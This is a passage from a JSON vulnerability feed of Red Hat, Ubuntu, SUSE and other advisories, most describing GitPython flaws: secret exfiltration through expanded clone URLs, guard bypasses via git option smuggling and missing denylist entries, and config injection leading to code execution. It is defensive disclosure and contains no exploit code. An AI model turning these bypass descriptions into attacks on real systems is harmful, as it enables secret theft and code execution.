deprecation on `Repo(path, expand_vars=…)`. Additionally, apply `check_unsafe_protocols()` to the *post-transformation* URL so no future `polish_url` change can silently bypass the `ext::` filter.","status":"published","published":"2026-09-10T09:44:50.85613Z","modified":"2026-09-10T12:15:06.099914989Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:57.255153Z"},{"id":"RHSA-2026:44416","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-08-04T10:25:06Z","modified":"2026-10-20T10:09:28Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:20.491441Z"},{"id":"RHSA-2026:45785","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-07-28T10:13:36Z","modified":"2026-10-20T10:09:37Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RHSA-2026:45940","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-08-05T10:36:16Z","modified":"2026-10-20T10:09:38Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RHSA-2026:59135","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update","status":"published","published":"2026-08-25T10:23:11Z","modified":"2026-10-20T10:11:57Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:21.91255Z"},{"id":"RHSA-2026:59136","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update","status":"published","published":"2026-08-25T10:23:11Z","modified":"2026-10-20T10:11:57Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:21.91255Z"},{"id":"RHSA-2026:71113","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update","status":"published","published":"2026-09-24T10:15:15Z","modified":"2026-10-20T10:14:50Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"RHSA-2026:71114","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update","status":"published","published":"2026-09-24T10:15:16Z","modified":"2026-10-20T10:14:51Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:22.928316Z"},{"id":"UBUNTU-CVE-2026-67322","description":"GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.","status":"published","published":"2026-08-01T13:17:00Z","modified":"2026-10-17T13:00:36.756697064Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:56:53.710209Z"},{"id":"CLSA-2026-1787718591","title":"TuxCare security update for gitpython (11 CVEs)","description":"TuxCare rebuilt gitpython to address 11 CVEs. Fixed in 3.1.31.post10+tuxcare.","status":"published","published":"2026-08-26T04:29:51Z","modified":"2026-10-27T13:43:12.834191331Z","updated_at":"2026-11-02T15:43:47.591214Z"},{"id":"openSUSE-SU-2026:11466-1","title":"python313-GitPython-3.1.58-1.1 on GA media","description":"These are all security issues fixed in the python313-GitPython-3.1.58-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-08-06T00:00:00Z","modified":"2026-08-07T10:00:24.591835647Z","updated_at":"2026-11-02T16:58:39.516824Z"},{"id":"openSUSE-SU-2026:21874-1","title":"Security update for python-GitPython","description":"This update for python-GitPython fixes the following issues:\n\n- CVE-2026-67322: environment-variable exfiltration in `Repo.clone_from()` URL via os.path.expandvars() (bsc#1273357).\n- CVE-2026-67323: unguarded Git options passed as keyword arguments in `Repo.archive()` and `git.ls_remote()` allow\n  for command injection (bsc#1273358).\n- CVE-2026-67325: incomplete command injection blocklist fails to account for git's long-option prefix abbreviation\n  feature and allows for bypass (bsc#1273359).\n- CVE-2026-67326: failure to validate newline characters in the section parameter of `config_writer()` can lead to\n  RCE via `core.hooksPath` (bsc#1273364).\n- CVE-2026-69097: failure to properly escape section names in Git `config` files allows for injection of arbitrary\n  configuration directives through malicious submodule names and can lead to RCE (bsc#1273414).\n- CVE-2026-73619: incomplete denylist in the `unsafe_git_archive_options` guard that omits `--add-file` and `--add-\n  virtual-file` options can lead to arbitrary file reads (bsc#1275755).\n- CVE-2026-73620: failure to guard Git option forwarding in `IndexFile.checkout()` and `TagReference.create()` can lead\n  to arbitrary file reads and writes (bsc#1275756).\n- CVE-2026-73621: argument injection in the `Commit.count()` method allows for destruction/blanking of arbitrary files\n  (bsc#1275757).\n- CVE-2026-73622: failure to disable environment variable expansion in `Remote.create()` and `Submodule.add()` URL\n  handling allows for secret exfiltration via URLs containing variable references (bsc#1275751).\n- CVE-2026-73623: incomplete denylist in `unsafe_git_clone_options` that omits `--template` allows for arbitrary command\n  execution (bsc#1275752).\n- CVE-2026-73624: `Diffable.diff` method fails to validate git options passed through `kwargs`, which can lead to\n  arbitrary file writes (bsc#1275753).\n- CVE-2026-73625: `check_unsafe_options` guard bypass via smuggling of git options inside single-character `kwarg`\n  values can lead to arbitrary code execution (bsc#1275754).\n- CVE-2026-76217: failure to validate options passed to `git rm` and `git checkout` commands in `IndexFile.remove()`\n  and `Head.checkout()` can lead to arbitrary file reads (bsc#1275745).\n- CVE-2026-76218: unguarded git option forwarding in `Repo.init` allows for arbitrary command execution (bsc#1275746).\n- CVE-2026-76219: unguarded `git read-tree` option forwarding in `IndexFile.from_tree/reset/merge_tree` can lead to\n  arbitrary file overwrites (bsc#1275747).\n- CVE-2026-76220: `check_unsafe_options` guard can be bypassed by combining a single-character `kwarg` with\n  `split_single_char_options=False`, which can lead to arbitrary OS command injection (bsc#1275748).\n- CVE-2026-76221: `config-name` injection in the `option-name` validator can lead to remote code execution\n  (bsc#1275749).\n- CVE-2026-76222: failure to validate submodule names from `.gitmodules` files allows creation of Git repositories at\n  arbitrary filesystem paths outside the intended clone directory (bsc#1275750).\n- CVE-2026-78675: failure to disable `merge_includes` when parsing `.gitmodules` can lead to discloseure of local file\n  contents when arbitrary file paths are included via `[include]` directives (bsc#1276434).\n- CVE-2026-78676: failure to safely re-serialize multi-line `git-config` values during write operations can corrupt\n  dormant quoted values into live injected directives (bsc#1276433).\n- CVE-2026-78677: omission of `--separate-git-dir` from `unsafe_git_clone_options` allows for creation of arbitrary git\n  directories outside the intended clone destination (bsc#1276432).\n- CVE-2026-78678: incomplete denylist in the `unsafe_git_revision_options` guard that omits `--contents` and `-S`\n  options allows for reading of arbitrary files when these options to are passed to `Repo.blame()` (bsc#1276431).\n- CVE-2026-78679: positional reference parameter can bypass an unsafe option guard and allows for arbitrary file read\n  via `TagReference.create()` (bsc#1276430).\n- CVE-2026-87817: failure to properly validade the git directory location allows attackers to impersonate the git\n  directory using tracked files and execute arbitrary code by placing pre-commit hooks in the tracked hooks directory\n  (bsc#1279905).\n- CVE-2026-87818: failure to restrict the `--no-index` option in the high-level diff API allows attackers to read\n  arbitrary filesystem paths as repository operands and create content-dependent Boolean oracles (bsc#1279906).\n- CVE-2026-87819: quadratic backtracking in the `Actor.name_email_regex` regular expression allows attackers to cause\n  CPU exhaustion and a DoS via a commit with a malformed author field (bsc#1279907).\n- GitPython unsafe clone option gate bypass through joined short options (bsc#1273498).\n","status":"published","published":"2026-09-18T06:05:46Z","modified":"2026-09-25T18:23:10.581109055Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"ROOT-APP-PYPI-CVE-2026-67322","title":"CVE-2026-67322 in GitPython - Patched by Root","description":"Root has patched CVE-2026-67322 in the GitPython package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-09-22T10:34:06Z","modified":"2026-09-22T11:15:06.322867643Z","updated_at":"2026-11-02T15:53:28.259095Z"},{"id":"ROOT-APP-PYPI-GHSA-m4f3-g4cq-hqrx","title":"GHSA-m4f3-g4cq-hqrx in GitPython - Patched by Root","description":"Root has patched GHSA-m4f3-g4cq-hqrx in the GitPython package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-09-22T10:34:06Z","modified":"2026-09-22T11:15:04.969070826Z","updated_at":"2026-11-02T15:53:28.259095Z"},{"id":"SUSE-SU-2026:4072-1","title":"Security update for python-GitPython","description":"This update for python-GitPython fixes the following issues:\n\n- CVE-2026-42215: command injection via Git options bypass (bsc#1264604).\n- CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).\n- CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the\n  repository (bsc#1264606).\n- CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).\n- CVE-2026-67322: vulnerable to environment-variable exfiltration in Repo.clone_from() (bsc#1273357).\n- CVE-2026-67323: fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and\n  git.ls_remote() (bsc#1273358).\n- CVE-2026-67325: contains an incomplete command injection blocklist that fails to account for git's long-option prefix\n  abbreviation feature (bsc#1273359).\n- CVE-2026-67326: fails to validate newline characters in the section parameter of config_writer() (bsc#1273364).\n- CVE-2026-69097: fails to properly escape section names in git config files, allowing attackers to inject arbitrary\n  configuration directives through malicious submodule names (bsc#1273414).\n- CVE-2026-73619: incomplete denylist in the `unsafe_git_archive_options` guard that omits `--add-file` and `--add-\n  virtual-file` options can lead to arbitrary file reads (bsc#1275755).\n- CVE-2026-73620: failure to guard git option forwarding in `IndexFile.checkout()` and `TagReference.create()` can lead\n  to arbitrary file reads and writes (bsc#1275756).\n- CVE-2026-73621: argument injection in the `Commit.count()` method allows for destruction/blanking of arbitrary files\n  (bsc#1275757).\n- CVE-2026-73622: failure to disable environment variable expansion in `Remote.create()` and `Submodule.add()` URL\n  handling allows for secret exfiltration via URLs containing variable references (bsc#1275751).\n- CVE-2026-73623: incomplete denylist in `unsafe_git_clone_options` that omits `--template` allows for arbitrary command\n  execution (bsc#1275752).\n- CVE-2026-73624: `Diffable.diff` method fails to validate git options passed through `kwargs`, which can lead to\n  arbitrary file writes (bsc#1275753).\n- CVE-2026-73625: `check_unsafe_options` guard bypass via smuggling of git options inside single-character `kwarg`\n  values can lead to arbitrary code execution (bsc#1275754).\n- CVE-2026-76217: failure to validate options passed to `git rm` and `git checkout` commands in `IndexFile.remove()` and\n  `Head.checkout()` can lead to arbitrary file reads (bsc#1275745).\n- CVE-2026-76218: unguarded git option forwarding in `Repo.init` allows for arbitrary command execution (bsc#1275746).\n- CVE-2026-76219: unguarded `git read-tree` option forwarding in `IndexFile.from_tree/reset/merge_tree` can lead to\n  arbitrary file overwrites (bsc#1275747).\n- CVE-2026-76220: `check_unsafe_options` guard can be bypassed by combining a single-character `kwarg` with\n  `split_single_char_options=False`, which can lead to arbitrary OS command injection (bsc#1275748).\n- CVE-2026-76221: `config-name` injection in the `option-name` validator can lead to remote code execution\n  (bsc#1275749).\n- CVE-2026-76222: failure to validate submodule names from `.gitmodules` files allows creation of Git repositories at\n  arbitrary filesystem paths outside the intended clone directory (bsc#1275750).\n- CVE-2026-78675: fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file\n  content by including arbitrary file paths via [include] directives (bsc#1276434).\n- CVE-2026-78676: fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant\n  quoted values into injected directives (bsc#1276433).\n- CVE-2026-78677: allowing creation of arbitrary git directories outside the intended clone destination (bsc#1276432).\n- CVE-2026-78678: an incomplete denylist in the unsafe_git_revision_options guard that omits --contents and -S options,\n  allowing attackers to read arbitrary files (bsc#1276431).\n- CVE-2026-78679: an arbitrary file read vulnerability in TagReference.create() (bsc#1276430).\n","status":"published","published":"2026-09-08T07:07:35Z","modified":"2026-09-13T18:23:19.85902049Z","updated_at":"2026-11-02T15:54:05.392906Z"}]}}